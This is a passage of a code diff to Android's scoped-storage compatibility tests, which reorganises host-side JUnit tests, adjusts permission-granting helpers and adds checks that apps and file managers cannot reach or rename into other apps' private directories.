-        runDeviceTest("testContributeMediaFile");
-    }
-
-    @Test
-    public void testCreateAndDeleteEmptyDir() throws Exception {
-        runDeviceTest("testCreateAndDeleteEmptyDir");
-    }
-
-    @Test
-    public void testCantDeleteOtherAppsContents() throws Exception {
-        runDeviceTest("testCantDeleteOtherAppsContents");
-    }
-
-    @Test
-    public void testDeleteAlreadyUnlinkedFile() throws Exception {
-        runDeviceTest("testDeleteAlreadyUnlinkedFile");
-
-    }
-    @Test
-    public void testOpendirRestrictions() throws Exception {
-        runDeviceTest("testOpendirRestrictions");
-    }
-
-    @Test
-    public void testLowLevelFileIO() throws Exception {
-        runDeviceTest("testLowLevelFileIO");
-    }
-
-    @Test
-    public void testListDirectoriesWithMediaFiles() throws Exception {
-        runDeviceTest("testListDirectoriesWithMediaFiles");
-    }
-
-    @Test
-    public void testListDirectoriesWithNonMediaFiles() throws Exception {
-        runDeviceTest("testListDirectoriesWithNonMediaFiles");
-    }
-
-    @Test
-    public void testListFilesFromExternalFilesDirectory() throws Exception {
-        runDeviceTest("testListFilesFromExternalFilesDirectory");
-    }
-
-    @Test
-    public void testListFilesFromExternalMediaDirectory() throws Exception {
-        runDeviceTest("testListFilesFromExternalMediaDirectory");
-    }
-
-    @Test
-    public void testListUnsupportedFileType() throws Exception {
-        runDeviceTest("testListUnsupportedFileType");
-    }
-
-    @Test
-    public void testMetaDataRedaction() throws Exception {
-        runDeviceTest("testMetaDataRedaction");
-    }
-
-    @Test
-    public void testVfsCacheConsistency() throws Exception {
-        runDeviceTest("testOpenFilePathFirstWriteContentResolver");
-        runDeviceTest("testOpenContentResolverFirstWriteContentResolver");
-        runDeviceTest("testOpenFilePathFirstWriteFilePath");
-        runDeviceTest("testOpenContentResolverFirstWriteFilePath");
-        runDeviceTest("testOpenContentResolverWriteOnly");
-        runDeviceTest("testOpenContentResolverDup");
-        runDeviceTest("testContentResolverDelete");
-        runDeviceTest("testContentResolverUpdate");
-        runDeviceTest("testOpenContentResolverClose");
-    }
-
-    @Test
-    public void testCaseInsensitivity() throws Exception {
-        runDeviceTest("testCreateLowerCaseDeleteUpperCase");
-        runDeviceTest("testCreateUpperCaseDeleteLowerCase");
-        runDeviceTest("testCreateMixedCaseDeleteDifferentMixedCase");
-        runDeviceTest("testAndroidDataObbDoesNotForgetMount");
-        runDeviceTest("testCacheConsistencyForCaseInsensitivity");
-    }
-
-    @Test
-    public void testCallingIdentityCacheInvalidation() throws Exception {
-        // General IO access
-        runDeviceTest("testReadStorageInvalidation");
-        runDeviceTest("testWriteStorageInvalidation");
-        // File manager access
-        runDeviceTest("testManageStorageInvalidation");
-        // Default gallery
-        runDeviceTest("testWriteImagesInvalidation");
-        runDeviceTest("testWriteVideoInvalidation");
-        // EXIF access
-        runDeviceTest("testAccessMediaLocationInvalidation");
-
-        runDeviceTest("testAppUpdateInvalidation");
-        runDeviceTest("testAppReinstallInvalidation");
-    }
-
-    @Test
-    public void testRenameFile() throws Exception {
-        runDeviceTest("testRenameFile");
-    }
-
-    @Test
-    public void testRenameFileType() throws Exception {
-        runDeviceTest("testRenameFileType");
-    }
-
-    @Test
-    public void testRenameAndReplaceFile() throws Exception {
-        runDeviceTest("testRenameAndReplaceFile");
-    }
-
-    @Test
-    public void testRenameFileNotOwned() throws Exception {
-        runDeviceTest("testRenameFileNotOwned");
-    }
-
-    @Test
-    public void testRenameDirectory() throws Exception {
-        runDeviceTest("testRenameDirectory");
-    }
-
-    @Test
-    public void testRenameDirectoryNotOwned() throws Exception {
-        runDeviceTest("testRenameDirectoryNotOwned");
-    }
-
-    @Test
-    public void testRenameEmptyDirectory() throws Exception {
-        runDeviceTest("testRenameEmptyDirectory");
-    }
-
-    @Test
-    public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
-        runDeviceTest("testSystemGalleryAppHasFullAccessToImages");
-    }
-
-    @Test
-    public void testSystemGalleryAppHasNoFullAccessToAudio() throws Exception {
-        runDeviceTest("testSystemGalleryAppHasNoFullAccessToAudio");
-    }
-
-    @Test
-    public void testSystemGalleryCanRenameImagesAndVideos() throws Exception {
-        runDeviceTest("testSystemGalleryCanRenameImagesAndVideos");
-    }
-
-    @Test
-    public void testManageExternalStorageCanCreateFilesAnywhere() throws Exception {
-        allowAppOps("android:manage_external_storage");
-        try {
-            runDeviceTest("testManageExternalStorageCanCreateFilesAnywhere");
-        } finally {
-            denyAppOps("android:manage_external_storage");
-        }
-    }
-
-    @Test
     public void testManageExternalStorageCanDeleteOtherAppsContents() throws Exception {
         allowAppOps("android:manage_external_storage");
         try {
@@ -283,16 +95,6 @@
     }
 
     @Test
-    public void testManageExternalStorageReaddir() throws Exception {
-        allowAppOps("android:manage_external_storage");
-        try {
-            runDeviceTest("testManageExternalStorageReaddir");
-        } finally {
-            denyAppOps("android:manage_external_storage");
-        }
-    }
-
-    @Test
     public void testManageExternalStorageCanRenameOtherAppsContents() throws Exception {
         allowAppOps("android:manage_external_storage");
         try {
@@ -303,6 +105,16 @@
     }
 
     @Test
+    public void testManageExternalStorageCannotRenameAndroid() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageCannotRenameAndroid");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    @Test
     public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
         allowAppOps("android:manage_external_storage");
         try {
@@ -313,53 +125,27 @@
     }
 
     @Test
-    public void testCantAccessOtherAppsContents() throws Exception {
-        runDeviceTest("testCantAccessOtherAppsContents");
+    public void testCheckInstallerAppAccessToObbDirs() throws Exception {
+        allowAppOps("android:request_install_packages");
+        grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testCheckInstallerAppAccessToObbDirs");
+        } finally {
+            denyAppOps("android:request_install_packages");
+            revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        }
     }
 
     @Test
-    public void testCanCreateHiddenFile() throws Exception {
-        runDeviceTest("testCanCreateHiddenFile");
-    }
-
-    @Test
-    public void testCanRenameHiddenFile() throws Exception {
-        runDeviceTest("testCanRenameHiddenFile");
-    }
-
-    @Test
-    public void testHiddenDirectory() throws Exception {
-        runDeviceTest("testHiddenDirectory");
-    }
-
-    @Test
-    public void testHiddenDirectory_nomedia() throws Exception {
-        runDeviceTest("testHiddenDirectory_nomedia");
-    }
-
-    @Test
-    public void testListHiddenFile() throws Exception {
-        runDeviceTest("testListHiddenFile");
-    }
-
-    @Test
-    public void testOpenPendingAndTrashed() throws Exception {
-        runDeviceTest("testOpenPendingAndTrashed");
-    }
-
-    @Test
-    public void testDeletePendingAndTrashed() throws Exception {
-        runDeviceTest("testDeletePendingAndTrashed");
-    }
-
-    @Test
-    public void testListPendingAndTrashed() throws Exception {
-        runDeviceTest("testListPendingAndTrashed");
-    }
-
-    @Test
-    public void testCanCreateDefaultDirectory() throws Exception {
-        runDeviceTest("testCanCreateDefaultDirectory");
+    public void testCheckInstallerAppCannotAccessDataDirs() throws Exception {
+        allowAppOps("android:request_install_packages");
+        grantPermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testCheckInstallerAppCannotAccessDataDirs");
+        } finally {
+            denyAppOps("android:request_install_packages");
+            revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
+        }
     }
 
     @Test
@@ -373,38 +159,23 @@
     }
 
     @Test
-    public void testSystemGalleryQueryOtherAppsFiles() throws Exception {
-        runDeviceTest("testSystemGalleryQueryOtherAppsFiles");
+    public void testManageExternalStorageDoesntSkipScanningDirtyNomediaDir() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testManageExternalStorageDoesntSkipScanningDirtyNomediaDir");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
-    public void testQueryOtherAppsFiles() throws Exception {
-        runDeviceTest("testQueryOtherAppsFiles");
-    }
-
-    @Test
-    public void testSystemGalleryCanRenameImageAndVideoDirs() throws Exception {
-        runDeviceTest("testSystemGalleryCanRenameImageAndVideoDirs");
-    }
-
-    @Test
-    public void testCreateCanRestoreDeletedRowId() throws Exception {
-        runDeviceTest("testCreateCanRestoreDeletedRowId");
-    }
-
-    @Test
-    public void testRenameCanRestoreDeletedRowId() throws Exception {
-        runDeviceTest("testRenameCanRestoreDeletedRowId");
-    }
-
-    @Test
-    public void testCantCreateOrRenameFileWithInvalidName() throws Exception {
-        runDeviceTest("testCantCreateOrRenameFileWithInvalidName");
-    }
-
-    @Test
-    public void testPendingFromFuse() throws Exception {
-        runDeviceTest("testPendingFromFuse");
+    public void testScanDoesntSkipDirtySubtree() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testScanDoesntSkipDirtySubtree");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
     }
 
     @Test
@@ -418,33 +189,6 @@
     }
 
     @Test
-    public void testCantSetAttrOtherAppsFile() throws Exception {
-        runDeviceTest("testCantSetAttrOtherAppsFile");
-    }
-
-    @Test
-    public void testAccess_file() throws Exception {
-        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
-        try {
-            runDeviceTest("testAccess_file");
-        } finally {
-            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
-        }
-    }
-
-    @Test
-    public void testAccess_directory() throws Exception {
-        grantPermissions("android.permission.READ_EXTERNAL_STORAGE",
-                "android.permission.WRITE_EXTERNAL_STORAGE");
-        try {
-            runDeviceTest("testAccess_directory");
-        } finally {
-            revokePermissions("android.permission.READ_EXTERNAL_STORAGE",
-                    "android.permission.WRITE_EXTERNAL_STORAGE");
-        }
-    }
-
-    @Test
     public void testAndroidMedia() throws Exception {
         grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
         try {
@@ -455,12 +199,11 @@
     }
 
     @Test
-    public void testWallpaperApisNoPermission() throws Exception {
-        runDeviceTest("testWallpaperApisNoPermission");
-    }
-
-    @Test
     public void testWallpaperApisReadExternalStorage() throws Exception {
+        // First run without any permission
+        runDeviceTest("testWallpaperApisNoPermission");
+
+        // Then with RES.
         grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
         try {
             runDeviceTest("testWallpaperApisReadExternalStorage");
@@ -486,16 +229,18 @@
 
     @Test
     public void testNoIsolatedStorageInstrumentationFlag() throws Exception {
-        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageCanCreateFilesAnywhere");
-        runDeviceTestWithDisabledIsolatedStorage(
-                "testNoIsolatedStorageCantReadWriteOtherAppExternalDir");
-        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageStorageReaddir");
-        runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageQueryOtherAppsFile");
-
-        // Check that appop is revoked after instrumentation is over.
-        runDeviceTest("testCreateFileInAppExternalDir");
-        runDeviceTest("testCreateFileInOtherAppExternalDir");
-        runDeviceTest("testReadWriteFilesInOtherAppExternalDir");
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE",
+                "android.permission.WRITE_EXTERNAL_STORAGE");
+        try {
+            runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageCanCreateFilesAnywhere");
+            runDeviceTestWithDisabledIsolatedStorage(
+                    "testNoIsolatedStorageCantReadWriteOtherAppExternalDir");
+            runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageStorageReaddir");
+            runDeviceTestWithDisabledIsolatedStorage("testNoIsolatedStorageQueryOtherAppsFile");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE",
+                    "android.permission.WRITE_EXTERNAL_STORAGE");
+        }
     }
 
     @Test
@@ -514,14 +259,77 @@
         }
     }
 
-    private void grantPermissions(String... perms) throws Exception {
+    @Test
+    public void testClearPackageData() throws Exception {
+        grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
+        try {
+            runDeviceTest("testClearPackageData");
+        } finally {
+            revokePermissions("android.permission.READ_EXTERNAL_STORAGE");
+        }
+    }
+
+    @Test
+    public void testInsertExternalFilesViaDataAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testInsertExternalFilesViaData");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaDataAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testUpdateExternalFilesViaData");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaRelativePathAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testInsertExternalFilesViaRelativePath");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaRelativePathAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testUpdateExternalFilesViaRelativePath");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    private void grantPermissionsToPackage(String packageName, String... perms) throws Exception {
         int currentUserId = getCurrentUserId();
         for (String perm : perms) {
-            executeShellCommand("pm grant --user %d android.scopedstorage.cts %s",
-                    currentUserId, perm);
+            executeShellCommand("pm grant --user %d %s %s",
+                    currentUserId, packageName, perm);
         }
     }
 
+    private void grantPermissions(String... perms) throws Exception {
+        grantPermissionsToPackage("android.scopedstorage.cts", perms);
+    }
+
     private void revokePermissions(String... perms) throws Exception {
         int currentUserId = getCurrentUserId();
         for (String perm : perms) {
diff --git a/hostsidetests/scopedstorage/legacy/AndroidManifest.xml b/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
index 07fbfe8..58259b2 100644
--- a/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
+++ b/hostsidetests/scopedstorage/legacy/AndroidManifest.xml
@@ -20,8 +20,6 @@
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <application  android:requestLegacyExternalStorage="true" >
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/scopedstorage/legacy/preserveLegacy.xml b/hostsidetests/scopedstorage/legacy/preserveLegacy.xml
new file mode 100644
index 0000000..c933b3c
--- /dev/null
+++ b/hostsidetests/scopedstorage/legacy/preserveLegacy.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.scopedstorage.cts.legacy" >
+
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <application  android:requestLegacyExternalStorage="true" android:preserveLegacyExternalStorage="true"/>
+
+</manifest>
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 071469a..4754d74 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -20,29 +20,43 @@
 import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
 import static android.scopedstorage.cts.lib.TestUtils.STR_DATA1;
 import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
 import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
+import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
+import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.insertFile;
+import static android.scopedstorage.cts.lib.TestUtils.insertFileFromExternalMedia;
 import static android.scopedstorage.cts.lib.TestUtils.listAs;
-import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
-import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
+import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.updateFile;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
+
+import static androidx.test.InstrumentationRegistry.getContext;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -53,13 +67,15 @@
 import static org.junit.Assert.fail;
 
 import android.Manifest;
+import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Environment;
-import android.os.ParcelFileDescriptor;
+import android.os.FileUtils;
+import android.os.Process;
 import android.provider.MediaStore;
 import android.scopedstorage.cts.lib.TestUtils;
 import android.system.ErrnoException;
@@ -84,6 +100,7 @@
 import java.io.FileDescriptor;
 import java.io.FileOutputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -115,8 +132,19 @@
     static final String VIDEO_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".mp4";
     static final String NONMEDIA_FILE_NAME = "LegacyStorageTest_file_" + NONCE + ".pdf";
 
-    private static final TestApp TEST_APP_A = new TestApp("TestAppA",
-            "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
+    // The following apps are installed before the tests are run via a target_preparer.
+    // See test config for details.
+    // An app with READ_EXTERNAL_STORAGE permission
+    private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
+            "android.scopedstorage.cts.testapp.A.withres", 1, false,
+            "CtsScopedStorageTestAppA.apk");
+    // An app with no permissions
+    private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+            "CtsScopedStorageTestAppB.apk");
+
+    private static final String[] SYSTEM_GALERY_APPOPS = {
+            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
 
     /**
      * This method needs to be called once before running the whole test.
@@ -129,12 +157,21 @@
     @Before
     public void setup() throws Exception {
         pollForExternalStorageState();
+
+        assertThat(checkPermission(APP_A_HAS_RES,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+        assertThat(checkPermission(APP_B_NO_PERMS,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
     }
 
     @After
     public void teardown() throws Exception {
         deleteFileInExternalDir(getShellFile());
-        MediaStore.scanFile(getContentResolver(), getShellFile());
+        try {
+            MediaStore.scanFile(getContentResolver(), getShellFile());
+        } catch (Exception ignored) {
+            //ignore MediaScanner exceptions
+        }
     }
 
     /**
@@ -325,6 +362,33 @@
     }
 
     /**
+     * Test that URI returned on inserting hidden file is valid after scan.
+     */
+    @Test
+    public void testInsertHiddenFile() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        final File dcimDir = getDcimDir();
+        final String hiddenImageFileName = ".hidden" + IMAGE_FILE_NAME;
+        final File hiddenImageFile = new File(dcimDir, hiddenImageFileName);
+        try {
+            ContentValues values = new ContentValues();
+            values.put(MediaStore.MediaColumns.DATA, hiddenImageFile.getAbsolutePath());
+            Uri uri = getContentResolver().insert(getImageContentUri(), values);
+            try (OutputStream fos = getContentResolver().openOutputStream(uri, "rw")) {
+                fos.write(BYTES_DATA1);
+            }
+            MediaStore.scanFile(getContentResolver(), hiddenImageFile);
+            final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME};
+            try (Cursor c = getContentResolver().query(uri, projection, null, null, null)) {
+                assertThat(c.moveToFirst()).isTrue();
+                assertThat(c.getString(0)).isEqualTo(hiddenImageFileName);
+            }
+        } finally {
+            hiddenImageFile.delete();
+        }
+    }
+
+    /**
      * Test that rename for legacy app with WRITE_EXTERNAL_STORAGE permission bypasses rename
      * restrictions imposed by MediaProvider
      */
@@ -484,8 +548,7 @@
             // Deleting the file will remove videoFile entry from database.
             assertThat(getFileRowIdFromDatabase(videoFile)).isEqualTo(-1);
 
-            installApp(TEST_APP_A, false);
-            assertThat(createFileAs(TEST_APP_A, otherAppPdfFile.getAbsolutePath())).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppPdfFile.getAbsolutePath())).isTrue();
             assertThat(getFileRowIdFromDatabase(otherAppPdfFile)).isNotEqualTo(-1);
             // Legacy app with write permission can delete the pdfFile owned by TestApp.
             assertThat(otherAppPdfFile.delete()).isTrue();
@@ -494,8 +557,7 @@
             // on a public volume, which is different from the behaviour on a primary external.
 //            assertThat(getFileRowIdFromDatabase(otherAppPdfFile)).isEqualTo(-1);
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, otherAppPdfFile.getAbsolutePath());
-            uninstallApp(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppPdfFile.getAbsolutePath());
             videoFile.delete();
         }
     }
@@ -513,9 +575,8 @@
         try {
             assertThat(videoFile.createNewFile()).isTrue();
 
-            installApp(TEST_APP_A, true);
             // videoFile is inserted to database, non-legacy app can see this videoFile on 'ls'.
-            assertThat(listAs(TEST_APP_A, TestUtils.getExternalStorageDir().getAbsolutePath()))
+            assertThat(listAs(APP_A_HAS_RES, TestUtils.getExternalStorageDir().getAbsolutePath()))
                     .contains(VIDEO_FILE_NAME);
 
             // videoFile is in database, row ID for videoFile can not be -1.
@@ -527,7 +588,6 @@
             assertEquals(-1, getFileRowIdFromDatabase(videoFile));
         } finally {
             videoFile.delete();
-            uninstallApp(TEST_APP_A);
         }
     }
 
@@ -696,20 +756,18 @@
         pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
 
         final File fullPath = new File(TestUtils.getDcimDir(),
-                "OwnershipChange_" + IMAGE_FILE_NAME);
-        final String relativePath = "DCIM/OwnershipChange_" + IMAGE_FILE_NAME;
+                "OwnershipChange" + IMAGE_FILE_NAME);
+        final String relativePath = "DCIM/OwnershipChange" + IMAGE_FILE_NAME;
         try {
-            installApp(TEST_APP_A, false);
-            createImageEntryAs(TEST_APP_A, relativePath);
+            createImageEntryAs(APP_B_NO_PERMS, relativePath);
             assertThat(fullPath.createNewFile()).isTrue();
 
-            // We have transferred ownership away from TEST_APP_A so reads / writes
+            // We have transferred ownership away from APP_B_NO_PERMS so reads / writes
             // should no longer work.
-            assertThat(openFileAs(TEST_APP_A, fullPath, false /* for write */)).isFalse();
-            assertThat(openFileAs(TEST_APP_A, fullPath, false /* for read */)).isFalse();
+            assertThat(canOpenFileAs(APP_B_NO_PERMS, fullPath, false /* forWrite */)).isFalse();
+            assertThat(canOpenFileAs(APP_B_NO_PERMS, fullPath, true /* forWrite */)).isFalse();
         } finally {
-            deleteFileAsNoThrow(TEST_APP_A, fullPath.getAbsolutePath());
-            uninstallAppNoThrow(TEST_APP_A);
+            deleteFileAsNoThrow(APP_B_NO_PERMS, fullPath.getAbsolutePath());
             fullPath.delete();
         }
     }
@@ -765,6 +823,183 @@
         }
     }
 
+    @Test
+    public void testLegacySystemGalleryCanRenameImagesAndVideosWithoutDbUpdates() throws Exception {
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Create and write some data to the file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+            try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+                fos.write(BYTES_DATA1);
+            }
+
+            // Assert legacy system gallery can rename the file.
+            assertCanRenameFile(otherAppVideoFile, videoFile, false /* checkDatabase */);
+            assertFileContent(videoFile, BYTES_DATA1);
+            // Database was not updated.
+            assertThat(getFileRowIdFromDatabase(otherAppVideoFile)).isNotEqualTo(-1);
+            assertThat(getFileRowIdFromDatabase(videoFile)).isEqualTo(-1);
+        } finally {
+            otherAppVideoFile.delete();
+            videoFile.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testLegacySystemGalleryWithoutWESCannotRename() throws Exception {
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ false);
+
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+
+        try {
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            // Create file of other app.
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+
+            // Check we cannot rename it.
+            assertThat(otherAppVideoFile.renameTo(videoFile)).isFalse();
+        } finally {
+            otherAppVideoFile.delete();
+            videoFile.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testLegacyWESCanRenameImagesAndVideosWithDbUpdates_hasW() throws Exception {
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+        final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+
+        try {
+            // Create and write some data to the file
+            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+            try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+                fos.write(BYTES_DATA1);
+            }
+
+            // Assert legacy WES can rename the file (including database updated).
+            assertCanRenameFile(otherAppVideoFile, videoFile);
+            assertFileContent(videoFile, BYTES_DATA1);
+        } finally {
+            otherAppVideoFile.delete();
+            videoFile.delete();
+        }
+    }
+
+    @Test
+    public void testScanUpdatesMetadataForNewlyAddedFile_hasRW() throws Exception {
+        pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+        pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+
+        final File jpgFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        try {
+            // Copy the image content to jpgFile
+            try (InputStream in =
+                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
+                 FileOutputStream out = new FileOutputStream(jpgFile)) {
+                FileUtils.copy(in, out);
+                out.getFD().sync();
+            }
+            // Insert a new row for jpgFile.
+            ContentValues values = new ContentValues();
+            values.put(MediaStore.MediaColumns.DATA, jpgFile.getAbsolutePath());
+            final Uri targetUri =
+                    getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+            assertNotNull(targetUri);
+
